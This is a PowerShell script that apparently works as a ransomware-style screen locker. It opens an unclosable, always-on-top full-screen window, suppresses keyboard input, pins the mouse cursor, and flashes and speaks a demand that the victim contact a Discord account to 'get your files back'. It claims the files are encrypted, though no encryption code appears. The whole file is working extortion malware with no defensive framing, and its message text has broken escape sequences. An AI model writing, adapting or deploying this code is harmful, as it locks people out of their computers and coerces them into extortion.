$FontSizeMain = 34
$form = New-Object Windows.Forms.Form
$form.WindowState = "Maximized"
$form.FormBorderStyle = "None"
$form.TopMost = $true
$form.BackColor = "Black"
$form.KeyPreview = $true
$form.Add_KeyDown({ $_.SuppressKeyPress = $true })
$form.Add_KeyUp({ $_.SuppressKeyPress = $true })
$form.Add_FormClosing({ $_.Cancel = $true })
$label = New-Object Windows.Forms.Label
$label.Text = "YOUR COMPUTER IS UNUSABLnnADD ME ON DISCORD:nbub.ratnUSE YOUR PHONEn`nMessage me right now to get your files back."
$label.Font = New-Object Drawing.Font("Arial", $FontSizeMain, [Drawing.FontStyle]::Bold)
$label.ForeColor = "Red"
$label.Dock = "Fill"
$label.TextAlign = "MiddleCenter"
$form.Controls.Add($label)
$rimbalzo = New-Object Windows.Forms.Label
$rimbalzo.Text = "ENCRYPTED"
$rimbalzo.Font = New-Object Drawing.Font("Arial", 32, [Drawing.FontStyle]::Bold)
$rimbalzo.ForeColor = "Red"
$rimbalzo.AutoSize = $true
$rimbalzo.Location = New-Object Drawing.Point(150, 120)
$form.Controls.Add($rimbalzo)
$statusLabel = New-Object Windows.Forms.Label
$statusLabel.Text = "Waiting for encryption..."
$statusLabel.Font = New-Object Drawing.Font("Arial", 16, [Drawing.FontStyle]::Bold)
$statusLabel.ForeColor = "White"
$statusLabel.AutoSize = $true
$statusLabel.Location = New-Object Drawing.Point(30, 30)
$form.Controls.Add($statusLabel)
$dx = 8
$dy = 6
$colors = @("Red","Orange","Yellow","Lime","Cyan","Blue","Magenta","Purple")
$colorIndex = 0
$lampeggioTimer = New-Object Windows.Forms.Timer
$lampeggioTimer.Interval = 120
$lampeggioTimer.Add_Tick({
$label.ForeColor = $colors[$colorIndex % $colors.Length]
$rimbalzo.ForeColor = $colors[($colorIndex + 4) % $colors.Length]
$colorIndex++
})
$lampeggioTimer.Start()
$timer = New-Object Windows.Forms.Timer
$timer.Interval = 30
$timer.Add_Tick({
$x = $rimbalzo.Location.X + $dx
$y = $rimbalzo.Location.Y + $dy
if($x -lt 0 -or $x -gt ([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width - $rimbalzo.Width)) { $dx = -$dx }
if($y -lt 0 -or $y -gt ([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height - $rimbalzo.Height)) { $dy = -$dy }
$rimbalzo.Location = New-Object Drawing.Point($x, $y)
[Blocker]::SetCursorPos(500, 500)
})
$timer.Start()
$speech = New-Object System.Speech.Synthesis.SpeechSynthesizer
$speech.SpeakAsync("Your computer is unusable. Add me on Discord bub dot rat using your phone now.") | Out-Null
$form.ShowDialog() | Out-Null